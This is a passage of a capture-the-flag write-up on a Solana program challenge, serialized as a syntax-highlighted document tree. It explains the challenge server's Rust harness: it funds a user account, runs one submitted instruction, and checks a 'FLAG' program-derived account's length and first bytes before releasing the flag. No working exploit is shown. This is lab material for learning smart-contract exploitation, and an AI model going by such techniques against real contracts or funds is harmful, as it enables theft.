g":153,"props":1278,"children":1279},{"style":198},[1280],{"type":26,"value":265},{"type":21,"tag":153,"props":1282,"children":1283},{"style":160},[1284],{"type":26,"value":288},{"type":21,"tag":153,"props":1286,"children":1287},{"style":214},[1288],{"type":26,"value":217},{"type":21,"tag":153,"props":1290,"children":1291},{"style":160},[1292],{"type":26,"value":297},{"type":21,"tag":153,"props":1294,"children":1295},{"style":300},[1296],{"type":26,"value":303},{"type":21,"tag":153,"props":1298,"children":1299},{"style":160},[1300],{"type":26,"value":308},{"type":21,"tag":153,"props":1302,"children":1303},{"style":170},[1304],{"type":26,"value":1000},{"type":21,"tag":153,"props":1306,"children":1307},{"style":160},[1308],{"type":26,"value":189},{"type":21,"tag":153,"props":1310,"children":1311},{"style":214},[1312],{"type":26,"value":445},{"type":21,"tag":153,"props":1314,"children":1315},{"style":160},[1316],{"type":26,"value":1013},{"type":21,"tag":153,"props":1318,"children":1319},{"style":192},[1320],{"type":26,"value":195},{"type":21,"tag":153,"props":1322,"children":1323},{"style":160},[1324],{"type":26,"value":211},{"type":21,"tag":153,"props":1326,"children":1327},{"style":198},[1328],{"type":26,"value":341},{"type":21,"tag":153,"props":1330,"children":1331},{"style":300},[1332],{"type":26,"value":303},{"type":21,"tag":153,"props":1334,"children":1335},{"style":160},[1336],{"type":26,"value":350},{"type":21,"tag":153,"props":1338,"children":1339},{"style":198},[1340],{"type":26,"value":355},{"type":21,"tag":153,"props":1342,"children":1343},{"style":181},[1344],{"type":26,"value":360},{"type":21,"tag":153,"props":1346,"children":1347},{"style":160},[1348],{"type":26,"value":365},{"type":21,"tag":153,"props":1350,"children":1351},{"style":198},[1352],{"type":26,"value":355},{"type":21,"tag":153,"props":1354,"children":1355},{"style":181},[1356],{"type":26,"value":374},{"type":21,"tag":153,"props":1358,"children":1359},{"style":160},[1360],{"type":26,"value":379},{"type":21,"tag":153,"props":1362,"children":1363},{"class":155,"line":795},[1364,1368,1372,1376,1380,1384,1388,1392,1396,1400,1404,1408,1412,1416,1420,1424,1428,1432,1436,1440,1444,1448,1452,1456,1460,1464,1468,1472],{"type":21,"tag":153,"props":1365,"children":1366},{"style":170},[1367],{"type":26,"value":245},{"type":21,"tag":153,"props":1369,"children":1370},{"style":192},[1371],{"type":26,"value":392},{"type":21,"tag":153,"props":1373,"children":1374},{"style":198},[1375],{"type":26,"value":255},{"type":21,"tag":153,"props":1377,"children":1378},{"style":160},[1379],{"type":26,"value":260},{"type":21,"tag":153,"props":1381,"children":1382},{"style":198},[1383],{"type":26,"value":265},{"type":21,"tag":153,"props":1385,"children":1386},{"style":160},[1387],{"type":26,"value":270},{"type":21,"tag":153,"props":1389,"children":1390},{"style":198},[1391],{"type":26,"value":265},{"type":21,"tag":153,"props":1393,"children":1394},{"style":181},[1395],{"type":26,"value":279},{"type":21,"tag":153,"props":1397,"children":1398},{"style":198},[1399],{"type":26,"value":265},{"type":21,"tag":153,"props":1401,"children":1402},{"style":160},[1403],{"type":26,"value":288},{"type":21,"tag":153,"props":1405,"children":1406},{"style":214},[1407],{"type":26,"value":217},{"type":21,"tag":153,"props":1409,"children":1410},{"style":160},[1411],{"type":26,"value":297},{"type":21,"tag":153,"props":1413,"children":1414},{"style":300},[1415],{"type":26,"value":303},{"type":21,"tag":153,"props":1417,"children":1418},{"style":160},[1419],{"type":26,"value":308},{"type":21,"tag":153,"props":1421,"children":1422},{"style":214},[1423],{"type":26,"value":445},{"type":21,"tag":153,"props":1425,"children":1426},{"style":160},[1427],{"type":26,"value":328},{"type":21,"tag":153,"props":1429,"children":1430},{"style":192},[1431],{"type":26,"value":195},{"type":21,"tag":153,"props":1433,"children":1434},{"style":160},[1435],{"type":26,"value":211},{"type":21,"tag":153,"props":1437,"children":1438},{"style":300},[1439],{"type":26,"value":303},{"type":21,"tag":153,"props":1441,"children":1442},{"style":198},[1443],{"type":26,"value":341},{"type":21,"tag":153,"props":1445,"children":1446},{"style":300},[1447],{"type":26,"value":470},{"type":21,"tag":153,"props":1449,"children":1450},{"style":160},[1451],{"type":26,"value":350},{"type":21,"tag":153,"props":1453,"children":1454},{"style":198},[1455],{"type":26,"value":355},{"type":21,"tag":153,"props":1457,"children":1458},{"style":181},[1459],{"type":26,"value":360},{"type":21,"tag":153,"props":1461,"children":1462},{"style":160},[1463],{"type":26,"value":365},{"type":21,"tag":153,"props":1465,"children":1466},{"style":198},[1467],{"type":26,"value":355},{"type":21,"tag":153,"props":1469,"children":1470},{"style":181},[1471],{"type":26,"value":374},{"type":21,"tag":153,"props":1473,"children":1474},{"style":160},[1475],{"type":26,"value":379},{"type":21,"tag":153,"props":1477,"children":1478},{"class":155,"line":808},[1479,1483,1487,1491],{"type":21,"tag":153,"props":1480,"children":1481},{"style":181},[1482],{"type":26,"value":507},{"type":21,"tag":153,"props":1484,"children":1485},{"style":160},[1486],{"type":26,"value":189},{"type":21,"tag":153,"props":1488,"children":1489},{"style":192},[1490],{"type":26,"value":525},{"type":21,"tag":153,"props":1492,"children":1493},{"style":160},[1494],{"type":26,"value":530},{"type":21,"tag":153,"props":1496,"children":1497},{"class":155,"line":820},[1498],{"type":21,"tag":153,"props":1499,"children":1500},{"style":160},[1501],{"type":26,"value":539},{"type":21,"tag":153,"props":1503,"children":1504},{"class":155,"line":842},[1505],{"type":21,"tag":153,"props":1506,"children":1507},{"style":160},[1508],{"type":26,"value":548},{"type":21,"tag":114,"props":1510,"children":1512},{"id":1511},"test-environment",[1513],{"type":26,"value":1514},"Test Environment",{"type":21,"tag":22,"props":1516,"children":1517},{},[1518],{"type":26,"value":1519},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":21,"tag":22,"props":1521,"children":1522},{},[1523,1525,1531],{"type":26,"value":1524},"When you connect to the server through a tcp connection, ",{"type":21,"tag":78,"props":1526,"children":1528},{"className":1527},[],[1529],{"type":26,"value":1530},"framework/src/main.rs::handle_connection",{"type":26,"value":1532}," gets executed, which does the following:",{"type":21,"tag":126,"props":1534,"children":1535},{},[1536],{"type":21,"tag":91,"props":1537,"children":1538},{},[1539],{"type":26,"value":1540},"Creates a new Solana local node",{"type":21,"tag":143,"props":1542,"children":1544},{"className":145,"code":1543,"language":147,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[1545],{"type":21,"tag":78,"props":1546,"children":1547},{"__ignoreMap":7},[1548,1631,1709],{"type":21,"tag":153,"props":1549,"children":1550},{"class":155,"line":156},[1551,1556,1561,1566,1570,1575,1579,1584,1588,1593,1597,1602,1606,1610,1614,1619,1623,1627],{"type":21,"tag":153,"props":1552,"children":1553},{"style":170},[1554],{"type":26,"value":1555},"let",{"type":21,"tag":153,"props":1557,"children":1558},{"style":170},[1559],{"type":26,"value":1560}," mut",{"type":21,"tag":153,"props":1562,"children":1563},{"style":192},[1564],{"type":26,"value":1565}," builder",{"type":21,"tag":153,"props":1567,"children":1568},{"style":198},[1569],{"type":26,"value":255},{"type":21,"tag":153,"props":1571,"children":1572},{"style":214},[1573],{"type":26,"value":1574}," ChallengeBuilder",{"type":21,"tag":153,"props":1576,"children":1577},{"style":198},[1578],{"type":26,"value":265},{"type":21,"tag":153,"props":1580,"children":1581},{"style":181},[1582],{"type":26,"value":1583},"try_from",{"type":21,"tag":153,"props":1585,"children":1586},{"style":160},[1587],{"type":26,"value":189},{"type":21,"tag":153,"props":1589,"children":1590},{"style":192},[1591],{"type":26,"value":1592},"socket",{"type":21,"tag":153,"props":1594,"children":1595},{"style":198},[1596],{"type":26,"value":355},{"type":21,"tag":153,"props":1598,"children":1599},{"style":181},[1600],{"type":26,"value":1601},"try_clone",{"type":21,"tag":153,"props":1603,"children":1604},{"style":160},[1605],{"type":26,"value":365},{"type":21,"tag":153,"props":1607,"children":1608},{"style":198},[1609],{"type":26,"value":355},{"type":21,"tag":153,"props":1611,"children":1612},{"style":181},[1613],{"type":26,"value":374},{"type":21,"tag":153,"props":1615,"children":1616},{"style":160},[1617],{"type":26,"value":1618},"())",{"type":21,"tag":153,"props":1620,"children":1621},{"style":198},[1622],{"type":26,"value":355},{"type":21,"tag":153,"props":1624,"children":1625},{"style":181},[1626],{"type":26,"value":374},{"type":21,"tag":153,"props":1628,"children":1629},{"style":160},[1630],{"type":26,"value":839},{"type":21,"tag":153,"props":1632,"children":1633},{"class":155,"line":166},[1634,1639,1643,1648,1652,1657,1661,1666,1671,1676,1681,1685,1690,1695,1700,1704],{"type":21,"tag":153,"props":1635,"children":1636},{"style":181},[1637],{"type":26,"value":1638},"assert!",{"type":21,"tag":153,"props":1640,"children":1641},{"style":160},[1642],{"type":26,"value":189},{"type":21,"tag":153,"props":1644,"children":1645},{"style":192},[1646],{"type":26,"value":1647},"builder",{"type":21,"tag":153,"props":1649,"children":1650},{"style":198},[1651],{"type":26,"value":355},{"type":21,"tag":153,"props":1653,"children":1654},{"style":181},[1655],{"type":26,"value":1656},"add_program",{"type":21,"tag":153,"props":1658,"children":1659},{"style":160},[1660],{"type":26,"value":189},{"type":21,"tag":153,"props":1662,"children":1663},{"style":671},[1664],{"type":26,"value":1665},"\"/path/to/chall.so\"",{"type":21,"tag":153,"props":1667,"children":1668},{"style":160},[1669],{"type":26,"value":1670},", ",{"type":21,"tag":153,"props":1672,"children":1673},{"style":214},[1674],{"type":26,"value":1675},"Some",{"type":21,"tag":153,"props":1677,"children":1678},{"style":160},[1679],{"type":26,"value":1680},"(chall",{"type":21,"tag":153,"props":1682,"children":1683},{"style":198},[1684],{"type":26,"value":265},{"type":21,"tag":153,"props":1686,"children":1687},{"style":160},[1688],{"type":26,"value":1689},"ID)) ",{"type":21,"tag":153,"props":1691,"children":1692},{"style":198},[1693],{"type":26,"value":1694},"==",{"type":21,"tag":153,"props":1696,"children":1697},{"style":160},[1698],{"type":26,"value":1699}," chall",{"type":21,"tag":153,"props":1701,"children":1702},{"style":198},[1703],{"type":26,"value":265},{"type":21,"tag":153,"props":1705,"children":1706},{"style":160},[1707],{"type":26,"value":1708},"ID);\n",{"type":21,"tag":153,"props":1710,"children":1711},{"class":155,"line":225},[1712,1716,1720,1724,1728,1732,1736,1741,1745,1749,1755],{"type":21,"tag":153,"props":1713,"children":1714},{"style":170},[1715],{"type":26,"value":1555},{"type":21,"tag":153,"props":1717,"children":1718},{"style":170},[1719],{"type":26,"value":1560},{"type":21,"tag":153,"props":1721,"children":1722},{"style":192},[1723],{"type":26,"value":1699},{"type":21,"tag":153,"props":1725,"children":1726},{"style":198},[1727],{"type":26,"value":255},{"type":21,"tag":153,"props":1729,"children":1730},{"style":192},[1731],{"type":26,"value":1565},{"type":21,"tag":153,"props":1733,"children":1734},{"style":198},[1735],{"type":26,"value":355},{"type":21,"tag":153,"props":1737,"children":1738},{"style":181},[1739],{"type":26,"value":1740},"build",{"type":21,"tag":153,"props":1742,"children":1743},{"style":160},[1744],{"type":26,"value":365},{"type":21,"tag":153,"props":1746,"children":1747},{"style":198},[1748],{"type":26,"value":355},{"type":21,"tag":153,"props":1750,"children":1752},{"style":1751},"--shiki-default:#C586C0",[1753],{"type":26,"value":1754},"await",{"type":21,"tag":153,"props":1756,"children":1757},{"style":160},[1758],{"type":26,"value":1759},";\n",{"type":21,"tag":126,"props":1761,"children":1762},{"start":166},[1763],{"type":21,"tag":91,"props":1764,"children":1765},{},[1766],{"type":26,"value":1767},"Funds the user account with 100 SOL",{"type":21,"tag":143,"props":1769,"children":1771},{"className":145,"code":1770,"language":147,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[1772],{"type":21,"tag":78,"props":1773,"children":1774},{"__ignoreMap":7},[1775,1809,1842,1849,1892,1924,1931,1939,2007,2027,2034],{"type":21,"tag":153,"props":1776,"children":1777},{"class":155,"line":156},[1778,1782,1787,1791,1796,1800,1805],{"type":21,"tag":153,"props":1779,"children":1780},{"style":170},[1781],{"type":26,"value":1555},{"type":21,"tag":153,"props":1783,"children":1784},{"style":192},[1785],{"type":26,"value":1786}," user_keypair",{"type":21,"tag":153,"props":1788,"children":1789},{"style":198},[1790],{"type":26,"value":255},{"type":21,"tag":153,"props":1792,"children":1793},{"style":214},[1794],{"type":26,"value":1795}," Keypair",{"type":21,"tag":153,"props":1797,"children":1798},{"style":198},[1799],{"type":26,"value":265},{"type":21,"tag":153,"props":1801,"children":1802},{"style":181},[1803],{"type":26,"value":1804},"new",{"type":21,"tag":153,"props":1806,"children":1807},{"style":160},[1808],{"type":26,"value":839},{"type":21,"tag":153,"props":1810,"children":1811},{"class":155,"line":166},[1812,1816,1821,1825,1829,1833,1838],{"type":21,"tag":153,"props":1813,"children":1814},{"style":170},[1815],{"type":26,"value":1555},{"type":21,"tag":153,"props":1817,"children":1818},{"style":192},[1819],{"type":26,"value":1820}," user",{"type":21,"tag":153,"props":1822,"children":1823},{"style":198},[1824],{"type":26,"value":255},{"type":21,"tag":153,"props":1826,"children":1827},{"style":192},[1828],{"type":26,"value":1786},{"type":21,"tag":153,"props":1830,"children":1831},{"style":198},[1832],{"type":26,"value":355},{"type":21,"tag":153,"props":1834,"children":1835},{"style":181},[1836],{"type":26,"value":1837},"pubkey",{"type":21,"tag":153,"props":1839,"children":1840},{"style":160},[1841],{"type":26,"value":839},{"type":21,"tag":153,"props":1843,"children":1844},{"class":155,"line":225},[1845],{"type":21,"tag":153,"props":1846,"children":1847},{"emptyLinePlaceholder":16},[1848],{"type":26,"value":759},{"type":21,"tag":153,"props":1850,"children":1851},{"class":155,"line":239},[1852,1856,1861,1865,1869,1874,1878,1883,1887],{"type":21,"tag":153,"props":1853,"children":1854},{"style":170},[1855],{"type":26,"value":1555},{"type":21,"tag":153,"props":1857,"children":1858},{"style":192},[1859],{"type":26,"value":1860}," payer_keypair",{"type":21,"tag":153,"props":1862,"children":1863},{"style":198},[1864],{"type":26,"value":255},{"type":21,"tag":153,"props":1866,"children":1867},{"style":198},[1868],{"type":26,"value":206},{"type":21,"tag":153,"props":1870,"children":1871},{"style":192},[1872],{"type":26,"value":1873},"chall",{"type":21,"tag":153,"props":1875,"children":1876},{"style":198},[1877],{"type":26,"value":355},{"type":21,"tag":153,"props":1879,"children":1880},{"style":160},[1881],{"type":26,"value":1882},"ctx",{"type":21,"tag":153,"props":1884,"children":1885},{"style":198},[1886],{"type":26,"value":355},{"type":21,"tag":153,"props":1888,"children":1889},{"style":160},[1890],{"type":26,"value":1891},"payer;\n",{"type":21,"tag":153,"props":1893,"children":1894},{"class":155,"line":382},[1895,1899,1904,1908,1912,1916,1920],{"type":21,"tag":153,"props":1896,"children":1897},{"style":170},[1898],{"type":26,"value":1555},{"type":21,"tag":153,"props":1900,"children":1901},{"style":192},[1902],{"type":26,"value":1903}," payer",{"type":21,"tag":153,"props":1905,"children":1906},{"style":198},[1907],{"type":26,"value":255},{"type":21,"tag":153,"props":1909,"children":1910},{"style":192},[1911],{"type":26,"value":1860},{"type":21,"tag":153,"props":1913,"children":1914},{"style":198},[1915],{"type":26,"value":355},{"type":21,"tag":153,"props":1917,"children":1918},{"style":181},[1919],{"type":26,"value":1837},{"type":21,"tag":153,"props":1921,"children":1922},{"style":160},[1923],{"type":26,"value":839},{"type":21,"tag":153,"props":1925,"children":1926},{"class":155,"line":501},[1927],{"type":21,"tag":153,"props":1928,"children":1929},{"emptyLinePlaceholder":16},[1930],{"type":26,"value":759},{"type":21,"tag":153,"props":1932,"children":1933},{"class":155,"line":533},[1934],{"type":21,"tag":153,"props":1935,"children":1936},{"style":192},[1937],{"type":26,"value":1938},"chall\n",{"type":21,"tag":153,"props":1940,"children":1941},{"class":155,"line":542},[1942,1947,1952,1957,1961,1966,1970,1975,1980,1984,1988,1993,1997,2002],{"type":21,"tag":153,"props":1943,"children":1944},{"style":198},[1945],{"type":26,"value":1946},"    .",{"type":21,"tag":153,"props":1948,"children":1949},{"style":181},[1950],{"type":26,"value":1951},"run_ix",{"type":21,"tag":153,"props":1953,"children":1954},{"style":160},[1955],{"type":26,"value":1956},"(system_instruction",{"type":21,"tag":153,"props":1958,"children":1959},{"style":198},[1960],{"type":26,"value":265},{"type":21,"tag":153,"props":1962,"children":1963},{"style":181},[1964],{"type":26,"value":1965},"transfer",{"type":21,"tag":153,"props":1967,"children":1968},{"style":160},[1969],{"type":26,"value":189},{"type":21,"tag":153,"props":1971,"children":1972},{"style":198},[1973],{"type":26,"value":1974},"&",{"type":21,"tag":153,"props":1976,"children":1977},{"style":192},[1978],{"type":26,"value":1979},"payer",{"type":21,"tag":153,"props":1981,"children":1982},{"style":160},[1983],{"type":26,"value":1670},{"type":21,"tag":153,"props":1985,"children":1986},{"style":198},[1987],{"type":26,"value":1974},{"type":21,"tag":153,"props":1989,"children":1990},{"style":192},[1991],{"type":26,"value":1992},"user",{"type":21,"tag":153,"props":1994,"children":1995},{"style":160},[1996],{"type":26,"value":1670},{"type":21,"tag":153,"props":1998,"children":1999},{"style":300},[2000],{"type":26,"value":2001},"100_000_000_000",{"type":21,"tag":153,"props":2003,"children":2004},{"style":160},[2005],{"type":26,"value":2006},"))\n",{"type":21,"tag":153,"props":2008,"children":2009},{"class":155,"line":762},[2010,2014,2018,2023],{"type":21,"tag":153,"props":2011,"children":2012},{"style":198},[2013],{"type":26,"value":1946},{"type":21,"tag":153,"props":2015,"children":2016},{"style":1751},[2017],{"type":26,"value":1754},{"type":21,"tag":153,"props":2019,"children":2020},{"style":198},[2021],{"type":26,"value":2022},"?",{"type":21,"tag":153,"props":2024,"children":2025},{"style":160},[2026],{"type":26,"value":1759},{"type":21,"tag":153,"props":2028,"children":2029},{"class":155,"line":776},[2030],{"type":21,"tag":153,"props":2031,"children":2032},{"emptyLinePlaceholder":16},[2033],{"type":26,"value":759},{"type":21,"tag":153,"props":2035,"children":2036},{"class":155,"line":795},[2037,2042,2046,2050,2054,2059,2063,2067,2072,2076],{"type":21,"tag":153,"props":2038,"children":2039},{"style":181},[2040],{"type":26,"value":2041},"writeln!",{"type":21,"tag":153,"props":2043,"children":2044},{"style":160},[2045],{"type":26,"value":189},{"type":21,"tag":153,"props":2047,"children":2048},{"style":192},[2049],{"type":26,"value":1592},{"type":21,"tag":153,"props":2051,"children":2052},{"style":160},[2053],{"type":26,"value":1670},{"type":21,"tag":153,"props":2055,"children":2056},{"style":671},[2057],{"type":26,"value":2058},"\"user: {}\"",{"type":21,"tag":153,"props":2060,"children":2061},{"style":160},[2062],{"type":26,"value":1670},{"type":21,"tag":153,"props":2064,"children":2065},{"style":192},[2066],{"type":26,"value":1992},{"type":21,"tag":153,"props":2068,"children":2069},{"style":160},[2070],{"type":26,"value":2071},")",{"type":21,"tag":153,"props":2073,"children":2074},{"style":198},[2075],{"type":26,"value":2022},{"type":21,"tag":153,"props":2077,"children":2078},{"style":160},[2079],{"type":26,"value":1759},{"type":21,"tag":126,"props":2081,"children":2082},{"start":225},[2083],{"type":21,"tag":91,"props":2084,"children":2085},{},[2086],{"type":26,"value":2087},"Reads an instruction from the tcp stream and executes it",{"type":21,"tag":143,"props":2089,"children":2091},{"className":145,"code":2090,"language":147,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[2092],{"type":21,"tag":78,"props":2093,"children":2094},{"__ignoreMap":7},[2095,2145],{"type":21,"tag":153,"props":2096,"children":2097},{"class":155,"line":156},[2098,2102,2107,2111,2115,2119,2124,2128,2132,2137,2141],{"type":21,"tag":153,"props":2099,"children":2100},{"style":170},[2101],{"type":26,"value":1555},{"type":21,"tag":153,"props":2103,"children":2104},{"style":192},[2105],{"type":26,"value":2106}," solve_ix",{"type":21,"tag":153,"props":2108,"children":2109},{"style":198},[2110],{"type":26,"value":255},{"type":21,"tag":153,"props":2112,"children":2113},{"style":192},[2114],{"type":26,"value":1699},{"type":21,"tag":153,"props":2116,"children":2117},{"style":198},[2118],{"type":26,"value":355},{"type":21,"tag":153,"props":2120,"children":2121},{"style":181},[2122],{"type":26,"value":2123},"read_instruction",{"type":21,"tag":153,"props":2125,"children":2126},{"style":160},[2127],{"type":26,"value":1680},{"type":21,"tag":153,"props":2129,"children":2130},{"style":198},[2131],{"type":26,"value":265},{"type":21,"tag":153,"props":2133,"children":2134},{"style":160},[2135],{"type":26,"value":2136},"ID)",{"type":21,"tag":153,"props":2138,"children":2139},{"style":198},[2140],{"type":26,"value":2022},{"type":21,"tag":153,"props":2142,"children":2143},{"style":160},[2144],{"type":26,"value":1759},{"type":21,"tag":153,"props":2146,"children":2147},{"class":155,"line":166},[2148,2152,2156,2161,2165,2169,2173,2178,2182,2186,2190,2194,2199,2203,2207,2211,2215,2219,2223,2227],{"type":21,"tag":153,"props":2149,"children":2150},{"style":192},[2151],{"type":26,"value":1873},{"type":21,"tag":153,"props":2153,"children":2154},{"style":198},[2155],{"type":26,"value":355},{"type":21,"tag":153,"props":2157,"children":2158},{"style":181},[2159],{"type":26,"value":2160},"run_ixs_full",{"type":21,"tag":153,"props":2162,"children":2163},{"style":160},[2164],{"type":26,"value":189},{"type":21,"tag":153,"props":2166,"children":2167},{"style":198},[2168],{"type":26,"value":1974},{"type":21,"tag":153,"props":2170,"children":2171},{"style":160},[2172],{"type":26,"value":211},{"type":21,"tag":153,"props":2174,"children":2175},{"style":192},[2176],{"type":26,"value":2177},"solve_ix",{"type":21,"tag":153,"props":2179,"children":2180},{"style":160},[2181],{"type":26,"value":308},{"type":21,"tag":153,"props":2183,"children":2184},{"style":198},[2185],{"type":26,"value":1974},{"type":21,"tag":153,"props":2187,"children":2188},{"style":160},[2189],{"type":26,"value":211},{"type":21,"tag":153,"props":2191,"children":2192},{"style":198},[2193],{"type":26,"value":1974},{"type":21,"tag":153,"props":2195,"children":2196},{"style":192},[2197],{"type":26,"value":2198},"user_keypair",{"type":21,"tag":153,"props":2200,"children":2201},{"style":160},[2202],{"type":26,"value":308},{"type":21,"tag":153,"props":2204,"children":2205},{"style":198},[2206],{"type":26,"value":1974},{"type":21,"tag":153,"props":2208,"children":2209},{"style":192},[2210],{"type":26,"value":1992},{"type":21,"tag":153,"props":2212,"children":2213},{"style":160},[2214],{"type":26,"value":2071},{"type":21,"tag":153,"props":2216,"children":2217},{"style":198},[2218],{"type":26,"value":355},{"type":21,"tag":153,"props":2220,"children":2221},{"style":1751},[2222],{"type":26,"value":1754},{"type":21,"tag":153,"props":2224,"children":2225},{"style":198},[2226],{"type":26,"value":2022},{"type":21,"tag":153,"props":2228,"children":2229},{"style":160},[2230],{"type":26,"value":1759},{"type":21,"tag":126,"props":2232,"children":2233},{"start":239},[2234],{"type":21,"tag":91,"props":2235,"children":2236},{},[2237],{"type":26,"value":2238},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":21,"tag":143,"props":2240,"children":2242},{"className":145,"code":2241,"language":147,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[2243],{"type":21,"tag":78,"props":2244,"children":2245},{"__ignoreMap":7},[2246,2331,2427,2471,2555,2563,2600,2660,2705,2722,2758,2766,2773],{"type":21,"tag":153,"props":2247,"children":2248},{"class":155,"line":156},[2249,2253,2258,2262,2267,2271,2276,2280,2284,2288,2293,2297,2302,2307,2311,2315,2319,2323,2327],{"type":21,"tag":153,"props":2250,"children":2251},{"style":170},[2252],{"type":26,"value":1555},{"type":21,"tag":153,"props":2254,"children":2255},{"style":192},[2256],{"type":26,"value":2257}," flag",{"type":21,"tag":153,"props":2259,"children":2260},{"style":198},[2261],{"type":26,"value":255},{"type":21,"tag":153,"props":2263,"children":2264},{"style":214},[2265],{"type":26,"value":2266}," Pubkey",{"type":21,"tag":153,"props":2268,"children":2269},{"style":198},[2270],{"type":26,"value":265},{"type":21,"tag":153,"props":2272,"children":2273},{"style":181},[2274],{"type":26,"value":2275},"create_program_address",{"type":21,"tag":153,"props":2277,"children":2278},{"style":160},[2279],{"type":26,"value":189},{"type":21,"tag":153,"props":2281,"children":2282},{"style":198},[2283],{"type":26,"value":1974},{"type":21,"tag":153,"props":2285,"children":2286},{"style":160},[2287],{"type":26,"value":211},{"type":21,"tag":153,"props":2289,"children":2290},{"style":671},[2291],{"type":26,"value":2292},"\"FLAG\"",{"type":21,"tag":153,"props":2294,"children":2295},{"style":198},[2296],{"type":26,"value":355},{"type":21,"tag":153,"props":2298,"children":2299},{"style":181},[2300],{"type":26,"value":2301},"as_ref",{"type":21,"tag":153,"props":2303,"children":2304},{"style":160},[2305],{"type":26,"value":2306},"()], ",{"type":21,"tag":153,"props":2308,"children":2309},{"style":198},[2310],{"type":26,"value":1974},{"type":21,"tag":153,"props":2312,"children":2313},{"style":160},[2314],{"type":26,"value":1873},{"type":21,"tag":153,"props":2316,"children":2317},{"style":198},[2318],{"type":26,"value":265},{"type":21,"tag":153,"props":2320,"children":2321},{"style":160},[2322],{"type":26,"value":2136},{"type":21,"tag":153,"props":2324,"children":2325},{"style":198},[2326],{"type":26,"value":2022},{"type":21,"tag":153,"props":2328,"children":2329},{"style":160},[2330],{"type":26,"value":1759},{"type":21,"tag":153,"props":2332,"children":2333},{"class":155,"line":166},[2334,2339,2344,2349,2353,2358,2363,2368,2372,2376,2380,2384,2389,2393,2398,2402,2407,2411,2415,2419,2423],{"type":21,"tag":153,"props":2335,"children":2336},{"style":1751},[2337],{"type":26,"value":2338},"if",{"type":21,"tag":153,"props":2340,"children":2341},{"style":170},[2342],{"type":26,"value":2343}," let",{"type":21,"tag":153,"props":2345,"children":2346},{"style":214},[2347],{"type":26,"value":2348}," Some",{"type":21,"tag":153,"props":2350,"children":2351},{"style":160},[2352],{"type":26,"value":189},{"type":21,"tag":153,"props":2354,"children":2355},{"style":192},[2356],{"type":26,"value":2357},"acct",{"type":21,"tag":153,"props":2359,"children":2360},{"style":160},[2361],{"type":26,"value":2362},") ",{"type":21,"tag":153,"props":2364,"children":2365},{"style":198},[2366],{"type":26,"value":2367},"=",{"type":21,"tag":153,"props":2369,"children":2370},{"style":192},[2371],{"type":26,"value":1699},{"type":21,"tag":153,"props":2373,"children":2374},{"style":198},[2375],{"type":26,"value":355},{"type":21,"tag":153,"props":2377,"children":2378},{"style":160},[2379],{"type":26,"value":1882},{"type":21,"tag":153,"props":2381,"children":2382},{"style":198},[2383],{"type":26,"value":355},{"type":21,"tag":153,"props":2385,"children":2386},{"style":160},[2387],{"type":26,"value":2388},"banks_client",{"type":21,"tag":153,"props":2390,"children":2391},{"style":198},[2392],{"type":26,"value":355},{"type":21,"tag":153,"props":2394,"children":2395},{"style":181},[2396],{"type":26,"value":2397},"get_account",{"type":21,"tag":153,"props":2399,"children":2400},{"style":160},[2401],{"type":26,"value":189},{"type":21,"tag":153,"props":2403,"children":2404},{"style":192},[2405],{"type":26,"value":2406},"flag",{"type":21,"tag":153,"props":2408,"children":2409},{"style":160},[2410],{"type":26,"value":2071},{"type":21,"tag":153,"props":2412,"children":2413},{"style":198},[2414],{"type":26,"value":355},{"type":21,"tag":153,"props":2416,"children":2417},{"style":1751},[2418],{"type":26,"value":1754},{"type":21,"tag":153,"props":2420,"children":2421},{"style":198},[2422],{"type":26,"value":2022},{"type":21,"tag":153,"props":2424,"children":2425},{"style":160},[2426],{"type":26,"value":236},{"type":21,"tag":153,"props":2428,"children":2429},{"class":155,"line":225},[2430,2435,2440,2444,2448,2452,2457,2462,2466],{"type":21,"tag":153,"props":2431,"children":2432},{"style":1751},[2433],{"type":26,"value":2434},"    if",{"type":21,"tag":153,"props":2436,"children":2437},{"style":192},[2438],{"type":26,"value":2439}," acct",{"type":21,"tag":153,"props":2441,"children":2442},{"style":198},[2443],{"type":26,"value":355},{"type":21,"tag":153,"props":2445,"children":2446},{"style":160},[2447],{"type":26,"value":195},{"type":21,"tag":153,"props":2449,"children":2450},{"style":198},[2451],{"type":26,"value":355},{"type":21,"tag":153,"props":2453,"children":2454},{"style":181},[2455],{"type":26,"value":2456},"len",{"type":21,"tag":153,"props":2458,"children":2459},{"style":160},[2460],{"type":26,"value":2461},"() ",{"type":21,"tag":153,"props":2463,"children":2464},{"style":198},[2465],{"type":26,"value":1694},{"type":21,"tag":153,"props":2467,"children":2468},{"style":300},[2469],{"type":26,"value":2470}," 0x1337\n",{"type":21,"tag":153,"props":2472,"children":2473},{"class":155,"line":239},[2474,2479,2483,2487,2492,2496,2500,2504,2509,2513,2517,2521,2525,2529,2533,2537,2541,2546,2550],{"type":21,"tag":153,"props":2475,"children":2476},{"style":198},[2477],{"type":26,"value":2478},"        